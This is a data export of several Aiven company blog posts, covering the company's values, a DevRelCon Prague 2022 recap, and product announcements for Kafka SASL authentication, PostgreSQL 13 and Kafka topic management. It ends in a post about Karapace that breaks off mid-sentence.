{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"BRkqFArJ1VnAVZYX3BnRt","_rev":"2TBrbODd4ENN9GFOVLnue9","_type":"post","_updatedAt":"2023-08-03T10:46:57Z","authors":[],"body":"## A brief history\nThe idea of Aiven came from four Finnish developers called Oskari, Hannu, Heikki and Mika. In their everyday work, they had seen that setting up and maintaining databases was a pain for people who just wanted to develop applications and code in peace. (This was 2015; there were some providers already out there but none that answered to their criteria or made the experience of using them smooth and painless.) \n\nThey felt that data shouldn’t be locked in to one vendor and that the underlying technology should be developed in the open. The best cloud data management tools should be available for anyone who needs them. \n\nThey wanted to __make developers’ lives better__, and this was the way to do it.\n\nSo they started Aiven.\n\nThe founders had three core principles for building this fresh-faced company and platform: Work hard to create simple solutions for complex problems. Automate everything. And hire the best people.\n\nToday, we articulate our values as \n\n__Openness__ - Open source is our beating heart and nurtures an atmosphere of inspiration, respect and open-mindedness.\n\n__Ownership__ -  We take pride in our achievements, empower each other through responsibility, and aspire to learn and grow.\n\n__Courage__ - We embrace challenges, take bold risks, celebrate our successes and learn from our failures – together.\n\nThese are our north star in shaping the way we work and bringing like-minded people together at Aiven.\n\n\u003e__Aiven is…__\n\u003e\n\u003eThe company I always wanted to work for\n\nLike our employees, our customers are also a global, diverse crowd. We work with more than a thousand companies worldwide, from the US to Indonesia, from South Africa to Finland.\n## What does Aiven do?\nAiven offers data infrastructure elements as a service. We don’t sell licenses, and we don’t own servers - we manage people’s data infrastructure for them.\n\nData infrastructure refers to all the pieces in a company’s IT system dealing with data. It can include\n- Databases for storing information\n- Data brokers for passing data to and from other systems\n- Visualization solutions \n- Analysis solutions\n- Monitoring and metrics solutions\n- Search engines\n- Cache\n- Connectors for integrating into other systems\n\n\u003e__Aiven is…__\n\u003e\n\u003eA team of highly talented people making something disruptive a reality.\n\nA company may decide to operate all these pieces themselves, or outsource all of them, or a mix of the two. Aiven can provide a full solution with all these pieces.\n\n![Aiven data infrastructure elements](//cdn.sanity.io/images/sczeoy4w/production/b5a699bd425d8f2e2acb76081d5fffcd5c5bc205-960x540.png)\n\nThe actual software is open source and it’s hosted at major cloud providers. To make life easier for our customers, they pay for the hosting with the same invoice as they pay Aiven for the infrastructure management.\n\nWith Aiven, the customer’s developers can focus on the business of building applications instead of worrying about infrastructure:\n- No maintenance. \n- No manual upgrades. \n- No hassle scaling or migrating services. \n- No confusion about how much you’re paying each month.\n- No restrictions on switching to another provider later.\n\n![Jill and the apple app](//cdn.sanity.io/images/sczeoy4w/production/7f44a5f2abf84d2b6eba0622b13a71c1c334535d-2500x1940.png)\n\nRead about actual use cases on our [case studies page](https://aiven.io/case-studies)!\n\nTo take a closer look at Aiven's services, you too can [sign up for a free trial](https://console.aiven.io/signup/email).\n## Aiven is open source\nOpen source is at the heart of what we do. \n\nBy using open source software (OSS), we and our customers make sure that they never get locked up in a vendor relationship. Their data remains theirs, and if they ever feel like it, they should be free to pack it up and leave us--although of course we do our best to offer service that makes them want to stay!\n\nOpen source has many other benefits, too. The development happens out in the open, which means the bar of access is low, and the tools themselves are available for anyone who needs them.\n\nThe developer base is huge and global, and there are always many eyes on any piece of code. As a result, security and reliability is better in the open source world than for proprietary software.\n\n\u003e__Aiven is…__\n\u003e\n\u003ePaying back, paying forward.\n\u003e\n\u003eBuilding something meaningful from the ground up.\n## Aiven is sustainable\nThe efficient storage and movement of data is crucial for modern life, but at the same time, storing and moving data takes up massive amounts of global resources. Who controls those resources and whether they are squandered is a real issue that [Aiven wants to tackle](https://aiven.io/blog/sustainability-and-social-impact-commitment). \n\nAccess to and control of data is an issue of equality and equity. Aiven operates on top of open source technologies, and we do our best to democratize them. We want to lower the threshold for everyone to build great apps - not *only* those who had the opportunity to attend universities and raise seed money.\n\nBut that is not enough. Faced with climate change, we need to think carefully about where and how resources are used. Cloud platforms are by default more energy efficient than private data centers, but we can do more. Aiven aims to make energy consumption in the technology sector more environmentally sound by both changing the energy mix and controlling the overall energy consumption.\n## We are Aiven\nAiven is more than a data infrastructure platform--Aiven is an idea, a company, and a community.\n\n\u003e__Aiven is…__\n\u003e\n\u003eA way of life\n\nAiven cares about its employees and about the work that we all do. Employees say Aiven is all about autonomy and respect for people.\n\nAt Aiven, our generous learning opportunities give us the space to learn in our everyday life. And that's what life in a hyperscaler often is like. We get to create an incredible growth journey while making the complex problems simple. It's almost impossible to be a part of that journey and NOT to constantly learn, with amazing colleagues. \n\nActually, a third of new joiners say they applied to work at Aiven because the Aiveners they met impressed them with their professionalism, energy and drive to have an impact. When we go out into the world and talk to customers, that really shows.\n\n\u003e__Aiven is…__\n\u003e\n\u003eOnce in a lifetime team\n\u003e\n\u003eAn amazing learning experience\n\nAll in all, people enjoy working at Aiven and keep recommending it to their friends.\n\n\u003e__Aiven is…__\n\u003e\n\u003eFull of love and caring\n\n\u003eI feel like I’ve come home\n\n## And the crab?\nOne of the most frequently asked questions is about our crab logo. Well, the name is Crabby... [But join us to find out more](https://aiven.io/careers)!\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844-png","_type":"reference"}},"publishedAt":"2022-05-25T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is the company that offers the best data infrastructure platform to the world. Read on to find out more about who we are and what we do.","metaImage":{"alt":"","asset":{"_ref":"image-8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844-png","_type":"reference"}},"metaTitle":"What is Aiven? | Find out our core values and what we do"},"slug":{"_type":"slug","current":"/blog/what-is-aiven"},"subtitle":"Aiven is the company that offers the best data infrastructure platform to the world. Read on to find out more about who we are and what we do.","title":"What is Aiven?"}
{"__i18n_lang":"en","_createdAt":"2022-12-13T09:19:28Z","_id":"0bfbd9fe-3345-405a-af46-8afc21cf05f2","_rev":"rV9BZDYEBgQp95tIyZzU6C","_type":"post","_updatedAt":"2023-06-08T08:04:06Z","authors":[{"_key":"8447ed8f4360","_ref":"141b1bf6-40a1-43a1-a684-b3f60b38ef20","_type":"reference"}],"body":"[DevRelCon Prague 2022](https://prague-2022.devrelcon.dev/) was all about the importance of growing healthy **communities** and driving **value for businesses** during a downturn. The event was a great experience and definitely a conference that I would recommend for anyone looking for insights on how to set up value driven company cultures, expand your business through community outreach or how Developer Relations can have a positive impact to your company in times of economic downturn.\nThe picture below captures the main messages in form of a scatchArt and was inspired during the event by another Developer Advocate.\n\n![Scatchart of Developer Relations Conference. A smiling person wearing a DevRel cap, with an \"I heart Community\" T-shirt. In one hand a megaphone labeled \"Value\", in the other balloons saying \"Sales\", \"Product\", \"PLG\" and \"Business Needs\". Their shoes are labelled \"Kindness\" and \"Respect\". They stand on a podium with three parts, \"1. Culture\", \"2. Product\" and \"3. Brand\"](https://cdn.sanity.io/images/sczeoy4w/production/028b97cf5eb26dabfd05b62664990d57d21aeaa4-2000x1228.jpg)\n \n\nThe event got off to a very strong start by sharing some research data about the impact and value of community initiatives through a roleplay scenario of a funding discussion between the Head of Community [Rebecca Marshburn](https://twitter.com/beccaodelay) and the COO [Jake Randall](https://www.linkedin.com/in/jake-randall-55297114/) from Common Room. \n\nThey pointed out that even though it is very hard to measure relationships - and relationships are what communities are all about - it is possible to measure your community impact, e.g through growing member numbers, reduction of answering times or an acceleration of pipeline, Rebecca and Jake also demonstrated in a very practicable way the theory of how to get to a yes. \n**Involving, aligning and showing the impact** of different community initiatives with various organizations in your company like Sales, Product Engineering or Customer Success plays a critical role in success. \n\nI'd also like to emphasize one paradigm in particular as this came up in various talks during the conference: \"Sales is about value matching\". Building bridges between DevRel and Sales can massively impact faster Go-To-Market (e.g faster deal progression in \u003c 90 days) \n\n![Ben Greenberg on stage](https://cdn.sanity.io/images/sczeoy4w/production/d6dcbcc86890b9ef9e8c851d2ece696439cf1923-2000x1500.jpg)\n\n### Measuring DevRel during a downturn: returning to the fundamentals\n\n[Ben Greenberg](https://twitter.com/rabbigreenberg), Senior Developer Relations Engineer at Parity Technologies, brought this to the next level. Not only was he (in my personal opinion) one of the best speakers on stage, but he really hit the spot by pointing out the importance of (re)aligning DevRel to the rest of the business, and measuring outcomes. \n\nAchieving this begins with speaking a common language; using concrete terms and actually measuring outcomes. As he said \"a team that does not measure ‘well’ has a hard time to show success\". \nNext time you think about OKRs or want to communicate the impact of Developer Relations in your company, include sentences like: \"We supported Marketing by...\" or \"We helped Sales achieve...\". This will encourage long term viability and alignment throughout all business units. \n\nHe also made a second important point: **FOCUS**! \"An economic downturn is not the time to try out new things\". Focussing DevRel activities to the fundamentals of \"Why DevRel was introduced in your company in the first place\" and \"returning to the path with the highest impact\" is of critical importance.\n\nStrong **alignment and focus** are the first step to improving your value-driven culture. By putting DevRel at the heart of it, we can certainly make a positive impact.\n\n\n### Is Product Led Growth (PLG) the DevOps of DevRel?\n\nSticking to focus and alignment a little further [Daniel Bryant](https://twitter.com/danielbryantuk), Head of DevRel at Ambassador Labs, rallied on an interesting matter. With the rise of PLG, the question around the distinction between PLG and DevRel also came up. \nDaniel pointed out that DevRel adds loads to PLG because \"everyone [nowadays] wants to get hands-on with the technology - even the CxOs\". So transferring the fundamental idea of DevOps to tear down walls between organizational silos underlined his statement.\n\n\n![DevOps Silos. Text says \"So, how does DevOps play into this? The picture shows stick-figures separated by walls, for Business, UX, Dev, QA and Ops. Each figure has an arrow, over the wall, to the next, and Ops has an arrow back to Dev. Ops has a speech ballon saying \"!?!\"](https://cdn.sanity.io/images/sczeoy4w/production/bb79f06c0abe03a610bc0d09f1ca75129f5d8847-2000x1106.png)\nversus\n![DevOps for DevRel. Text says \"So, how does DevOps play into this? (Let's swap the silo names). The picture shows stick-figures separated by walls, for Business, Product, DevRel, Growth and Sales. Each figure has an arrow, over the wall, to the next, and Sales has an arrow back to DevRel. Sales has a speech ballon saying \"!?!\"](https://cdn.sanity.io/images/sczeoy4w/production/ec54d9cde353c08e044a0a010bc506eee1a5fe3f-2000x1114.png) \n\nBut HOW? Daniel gave some great insights on how they tackle this in everyday business at Ambassador Labs. So one way to align could be DevRel proactively delivering ideas and insights for various hypotheses and PLG driving 1-5 experiments per month, tweaking their campaigns and ads based on these insights. By reviewing the funnel, results and hypotheses on a more frequent manner asking questions like: \n\n* Did it affect trials?\n* Did it drive Product Qualified Leads (PQL) or Product Lead Opportunities (PQO)?\n\nWith goals shared between DevRel and PLG, regular syncs and retrospectives will help to form an end-to-end user experience by also engaging the beginners mindset and identifying \"aha\"-moments and hence **telling the story of the user’s path to value**.\n\n\n### How effective DevRel helps build great companies\n\n[Brandon West](https://twitter.com/bwest) from Datadog really made clear that Developer Advocates are role models and the spokespeople of your company's culture in the community. So showing respect, being available and approachable are key attributes for a Developer Advocate. \n\nHe also made clear that there’s quite a big difference between your company's brand, which is established over time and focussed on products rather than people, and its culture, which exists from day one and shows how things are done.\n\nIn that context his approach to focus on culture first, product next and brand last is a very valuable advice, especially for younger companies.\n\n\n### Toying with people's emotions: A cognitive theory of DevRel\n\n[Don Goodman-Wilson](https://www.linkedin.com/in/degoodmanwilson/) provided some clear scientific evidence, that **kindness and respect** trigger Oxytocin, a neurotransmitter that increases the feeling of connection and belonging. \n\nHe literally said: **OXYTOCIN = Love**\n\nSo making your community users feel welcome and being listened to and providing them with relatable stories and validation to their feelings and opinions will increase their engagement - if done consistently - because **doing it ONCE is not doing the trick!** as Don pointed out.\n\n**Pro-Tip**: If you love scientific evidence on how to hack some everyday life challenges in DevRel - like facing anxiety when talking on a stage I definitely recommend watching my colleague [Olena Kutsenko](https://twitter.com/olenakutsenko)'s talk \"Using Science to calm your nerves before public speaking\". \nHint: this might also work before presenting your outcomes to boards during a downturn.\n\n\n### Where do we go from here? The next level of DevRel value\n\n![Matty Stratton on stage](https://cdn.sanity.io/images/sczeoy4w/production/00c59bc4e7ada31cbac627bdbbfb342221952e52-2000x1500.jpg)\n\n[Matty Stratton](https://twitter.com/mattstratton), Director of DevRel at Aiven, not only choose a very fitting title to his closing keynote, but also magically summed up all the mentioned topics in his one. \n\nHe emphasized that, with DevRel being at the heart of many tech organizations, DevRel is the glue to all of them and fosters an inclusive and value driven culture. \nThis goes along with connecting to both: \"the people who build and the people who sell\" to understand their goals and challenges both inside and outside of the organization. \nHowever, due to being everywhere, it often is hard to understand the direct impact DevRel has to a company. So a clear communication of what DevRel will do and what it will not do by setting boundaries, expectations and proactively communicating initiatives and outcomes is key to success.\n\nHe shared with us this excellent recommendation: \"Do things that require less imagination to understand their impact\" like top of the funnel content, meeting customers and prospects at special occasions to have thought leadership discussions and provide value driven outcomes or supporting initiatives that aim to meet top level OKRs.\n\n### One step more?\n\n\"Building great relationships (inside and outside your company) will make you stronger\" has been the repeated message throughout this great event. The Aiven team had a great time at the event and we connected with so many other DevRel professionals from other organizations. When we work together, what could Developer Advocacy Partnerships bring to the table? \n\nLet's find out - get in touch with your friendly Developer Advocate/Neighbour here at Aiven by [tweeting at us](https://twitter.com/aiven_io).\n\nIf you feel like you missed out on the event, check out the recordings of this (once they're published) and past events on their [YouTube channel](https://www.youtube.com/c/DevRel).\n","categories":[{"_key":"d6a0b1742826","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"A blue background with the text \"DevRelCon: Show value, join forces and remove barriers\", and the Aiven logo at the bottom.","asset":{"_ref":"image-16fbf686c16ae7a79cd37f09cc2d58f689336489-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-12-15T10:01:38.020Z","related":[],"seo":{"_type":"metaData","metaTitle":"DevRelCon Prague | Improve developer relations with Aiven"},"slug":{"_type":"slug","current":"/blog/devrelcon-prague-2022-recap"},"subtitle":"Read on to find out about DevRelCon Prague and how Developer Relations done right can help your company, especially during the downturn.","title":"A sense of DevRelCon"}
{"__i18n_lang":"en","_createdAt":"2022-11-23T08:06:36Z","_id":"b5c7cf6e-390e-40c3-a19b-003194cb505f","_rev":"tW7kMBSHIbCIaN9dzsGiVV","_type":"post","_updatedAt":"2023-06-19T08:32:44Z","authors":[{"_key":"bc3fbafa9b92","_ref":"495d15fb-d2b1-4a6b-a5af-44b62df3857a","_type":"reference"}],"body":"**There’s an important part of Aiven’s service offering that isn’t very visible to our customers, and that's ensuring that you get the best possible price/performance ratio with Aiven services. It's not just for new services, either. We constantly fine-tune the performance of all services throughout their lifecycle.**\n\nMoore's Law is over six decades old, but it still holds true – computer hardware continues to evolve very fast. Cloud computing is no exception. \n\nCloud platform providers keep introducing new virtual machine instance types. As a result of this development work, different clouds have evolved different instance types that are all optimized for different use cases. This makes it really hard to stay up-to-date and know which instance types are the best match for a given data infrastructure service. \n\nAt Aiven, we take this burden away from our customers. \n\nYou may have noticed that our service plans define the number of virtual machines, CPU’s and memory on those virtual machines, and storage included in the plan. But did you notice that they do not lock you to a specific instance type?\n\nOur team tracks the evolution of hardware. We are continuously evaluating which instance types bring the optimal price/performance ratio for specific services. When we find a better instance type, we’ll bring it into production, and we will base all new services created on this new instance type. Old services also switch to the new instance type the very next time they receive maintenance (updating the version, applying a security patch, scaling the service up or down...). All you see as a customer is that the performance of your service just got better - with no extra cost or time spent! \n\nAs an example of this process, we recently moved to new ARM based instance types in AWS for our Redis service. According to our benchmarking, this typically improves Redis performance by up to 10%. If you are one of our Redis customers you may already have seen this improved performance. If not, then you will soon.\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n## Next steps\nYour next step could be to check out \u003cthing\u003e\n\n--\u003e.\n\n\n\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\n","categories":[{"_key":"16c2570cbadb","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-ca4d57c76618ec0ccd31c15178405a9c3aa51d67-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-24T09:39:00.000Z","related":[{"_key":"0f3b52afc8d8","_ref":"UnSbtfuJBy9Px9UJftBUd","_type":"reference"},{"_key":"0d23ebe226cf","_ref":"5NiOyJ042D97FVXaTRORWX","_type":"reference"},{"_key":"88014d03464b","_ref":"7pb0UflNvu9Rdh9g9bDfPn","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Improving Service Performance: The Art of Doing Nothing"},"slug":{"_type":"slug","current":"/blog/constantly-improving-your-service-performance"},"subtitle":"Hardware evolves, better instance types become available - find out how Aiven helps your services keep up with the times while you kick back and relax.","title":"How to constantly improve your service performance... by doing nothing"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4AKilAEVbsN6pgTWiFaa5T","_rev":"o6tzS9VqKAkmnDQmLHVkmF","_type":"post","_updatedAt":"2022-10-25T08:37:59Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven Kafka now supports [SASL](https://en.wikipedia.org/wiki/Simple_Authentication_and_Security_Layer) as a complementary authentication method between your Kafka-powered applications and your Kafka endpoint. This gives you the option to replace your access key and access certificate with a username and password that you specify.\n\n\u003e_Note that with SASL enabled, you'll still require a CA (certificate authority) certificate to connect your producers and consumers to your Aiven Kafka endpoint._\n\n*SASL* stands for _Simple Authentication and Security Layer_ and is a popular authentication framework already used widely across many established internet protocols, including [AMQP](https://www.amqp.org/), [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol), [IRC](https://en.wikipedia.org/wiki/Internet_Relay_Chat), and [memcached](https://memcached.org/).\n\nAiven Kafka supports the following SASL mechanisms:\n  * *SASL Plain*: a basic, cleartext password handler based on [RFC 4616](https://tools.ietf.org/html/rfc4616);\n  * *SCRAM* (or _Salted Challenge Response Authentication Mechanism_): a more complex challenge-response authentication method.\n\n## How SASL works\nTo turn on SASL support, just enable the ```kafka_authentication_methods.sasl``` setting within your advanced configuration settings.\n\n![Showing how to enable SASL](https://cdn.sanity.io/images/sczeoy4w/production/e92a99454179834b89e8a877969082408c2191fc-894x450.png)\n\nYou can then configure your producers and consumers to use SASL authentication to your endpoint accordingly.\n\n![Showing SASL auth settings](https://cdn.sanity.io/images/sczeoy4w/production/948e525bda8d8b6bce2b909a7ec47606ef24ac6e-850x405.png)\n\n\n## Wrapping up\nYou now have two options — Client Certificate or SASL —  for connecting your Kafka producers and consumers to your Aiven Kafka endpoint. We’ll always be adding more options, so stay up to date from our [blog](/blog/feed.xml), [changelog](/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405-png","_type":"reference"}},"publishedAt":"2019-06-24T00:00:00.000Z","seo":{"metaDescription":"Aiven Kafka users can now enable SASL authentication between their applications and Aiven Kafka; find out more about it in this post.","metaImage":{"alt":"","asset":{"_ref":"image-0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405-png","_type":"reference"}},"metaTitle":"Aiven Kafka now supports SASL authentication"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-now-supports-SASL-authentication"},"subtitle":"Aiven Kafka users can now enable SASL authentication between their applications and Aiven Kafka; find out more about it in this post.","title":"Aiven Kafka now supports SASL authentication"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1QzchuAQu7wUI8Z4bXnKSk","_rev":"ZLvKaZvfbZlWBlGcpInqQA","_type":"post","_updatedAt":"2024-01-29T15:37:37Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"We have great news for administrators of Aiven for PostgreSQL and all application developers using it: Your life just got easier with PostgreSQL 13. \n\nThe new version of Postgres, one of the all-time greats of open source databases, includes housekeeping operations that keep your database size more manageable. \n\nIn this post, we’ll cover the most important improvements and how you can reap the benefits of them.\n\n### B-tree indexes are deduplicated\nDuplicate entries - which occur when you index non-unique data but also when updating rows with unique indexes - are found in B-tree indexes more commonly than most people think. This results in larger indexes than needed, which slows down performance and increases storage costs.\n\nPostgreSQL 13 solves this problem by [merging duplicate key values](https://www.postgresql.org/docs/13/btree-implementation.html) in B-tree indexes into a single posting list tuple so that the column key values only appear once. In indexes where duplicate values often occur, this can reduce index size dramatically. It also increases query throughput and makes routine vacuuming faster. \nAnd speaking of vacuuming…\n### Parallel vacuuming of indexes\nThis is the feature we’ve all been waiting for! \n\nThe VACUUM command removes rows that are no longer visible due to updates or deletions, among other things. In previous versions, vacuuming could take a long time for large tables with multiple indexes. In Postgres 13, processing times are drastically shorter now that a worker can be allocated to each index and they can be [vacuumed in parallel](http://amitkapila16.blogspot.com/2020/05/improved-autovacuum-in-postgresql-13.html) with a single vacuum process.\n### Improved partitioning support\nPartitioning enables you to accelerate queries, improve bulk loads and deletion, and manage large tables with ease, and Postgres 13 ships with several [partitioning enhancements](https://www.postgresql.org/docs/13/release-13.html) that give you more ways to split tables. Partition pruning is now allowed in a wider variety of cases and partitions can more often be directly joined, improving query performance. \n### Incremental sorting\nOne of PostgreSQL 13’s most prominent new features is incremental sorting. When a group of data sets is already sorted by some column(s), the result can be used as a basis for further sorting later, thereby reducing the volume of data that needs to be sorted with each query. Of course, the efficiency improvement depends on the data in question, so PostgreSQL 13 optimizer heuristically decides whether to use incremental sorting or not. \n\nFor a full list of version improvements, check out [PostgreSQL's release notes](https://www.postgresql.org/docs/13/release-13.html).\n## Ready to clear the clutter with managed PostgreSQL 13?\nYou’ll need to upgrade to PostgreSQL 13 to take advantage of these features. If you already use Aiven for Postgres, you can easily run an [in-place upgrade](https://help.aiven.io/en/articles/2461799-how-to-perform-a-postgresql-in-place-major-version-upgrade) to migrate to the newest version.\n\nNot using Aiven for PostgreSQL yet? Try out the latest PostgreSQL version with our [free 30-day no-commitment trial](https://aiven.io/postgresql). Get starting by signing up and choosing version 13 when creating your Postgres service. Alternatively, you can also use our [Terraform tooling](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration), [REST API](https://aiven.io/docs/tools/api) or [CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli) for service creation. To find out more about PostgreSQL, read our [Introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n\n## Wrapping up\nPostgreSQL 13 is packed with next-level features that enable you to improve query performance, rapidly deduplicate data, vacuum indexes in parallel, and sort data more effectively. Head over to the Aiven console and get the upgrade started, so you can enjoy these improvements.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-16T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL 13 makes life easier with improvements to indexing, sorting, and vacuuming. Read on to learn how it makes your datasets cleaner and queries faster.","metaImage":{"alt":"","asset":{"_ref":"image-e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® 13 is now available"},"slug":{"_type":"slug","current":"/blog/aiven-for-postgresql-13-is-now-available"},"subtitle":"PostgreSQL 13 makes life easier with improvements to indexing, sorting, and vacuuming. Read on to learn how it makes your datasets cleaner and queries faster.","title":"Aiven for PostgreSQL® 13 is now available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1yD4JhxesUQCeyGlgN67IU","_rev":"cEPH2uRN58AU2lp9QO7dxx","_type":"post","_updatedAt":"2022-09-08T16:16:39Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We're happy to announce Kafka topic management updates for Aiven Kafka that have been frequently requested from our customers.\n\nThese updates will improve the interoperability between Aiven Kafka service instances and the Kafka ecosystem applications and tooling. Let's jump into the details!\n\n## Topic management over the Kafka protocol\n\nAiven Kafka now supports creating, modifying and deleting topics over the Kafka protocol. The initial **CreateTopic API** call was introduced in Kafka 0.10.1.0, and support has been gradually extending ever since. The APIs have matured with Kafka 1.0 and the Kafka ecosystem tooling is increasingly starting to utilize these APIs.\n\nWith the API supported, utilizing Kafka Connect, Kafka Streams, KSQL and other tooling is now much easier than before.\n\nWe've also added a new ACL permission level, **admin**, allowing you to provide specific users permission to create, update, and delete topics through the Kafka protocol.\n\n## Automatic topic creation\n\nIn addition to the explicit API calls, we're adding an option to enable automatic topic creation. This feature can be enabled with the Aiven Command Line Client:\n\n```\n    avn service update \\\n        --project project-name \\\n        example-kafka-service \\\n        -c kafka.auto_create_topics_enable=true\n```\n\nAdmin ACL permission is required for the topic creation to be successful.\n\n## Wrapping up\n\nBoth can be introduced to existing Kafka services by triggering a maintenance update from within the Aiven console. Additionally, all new Aiven Kafka deployments will automatically include these modifications.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2018-03-14T00:00:00.000Z","seo":{"metaDescription":"From options for creating topics automatically to a new ACL permission level, Aiven Kafka users now have greater control over topic management; learn more.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Introducing improved Aiven Kafka topic management"},"slug":{"_type":"slug","current":"/blog/kafka-topic-management-updates"},"subtitle":"From options for creating topics automatically to a new ACL permission level, Aiven Kafka users now have greater control over topic management; learn more.","title":"Introducing improved Aiven Kafka topic management"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6KYt6yfjKl5MeD0qupM50F","_rev":"QRl2cGoCgj0FlAhkRriOYb","_type":"post","_updatedAt":"2022-09-08T16:29:59Z","authors":[{"_key":"23npxnYfL41QURg8oY8Lat","_ref":"23npxnYfL41QURg8oY8Lat","_type":"reference"}],"body":"Apache Kafka® is an essential technology in building digital services today. Businesses need access to a wide stream of data. What’s more, that data must be well-integrated to enable real-time business use cases, such as predictive analytics, personalized web experience, IoT sensor ingestion, customer behavior analysis and online fraud detection.\n\n## Why schemas matter\n\nApache Kafka at its core simply transfers data in byte format, and does not care what kind of data is being sent or received. Kafka doesn’t “understand” the data that flows through it but the producers and consumers need to, so we must define a common data type between producers and consumers if they are to understand each other. This is where Karapace fits in. \n\n[Karapace](https://karapace.io/ \"Karapace - your Apache Kafka essentials in one tool\") is a piece of software that resides outside your Kafka cluster and handles the distribution and evolution of schemas. Karapace is an open source alternative to Confluent Schema Registry and Apache Kafka REST proxy. With this project, Aiven enables businesses to build applications and services using Apache Kafka in the open source world.\n\n## Aiven and Karapace\n\nAiven [announced Karapace](https://aiven.io/blog/aiven-launches-karapace-for-kafka-schema-and-cluster-management \"Aiven launches Karapace for Apache Kafka schema and cluster management | Aiven Blog\") in July 2020 in response to the licensing change in Confluent Schema Registry back in 2018. We wanted to ensure that we could continue to 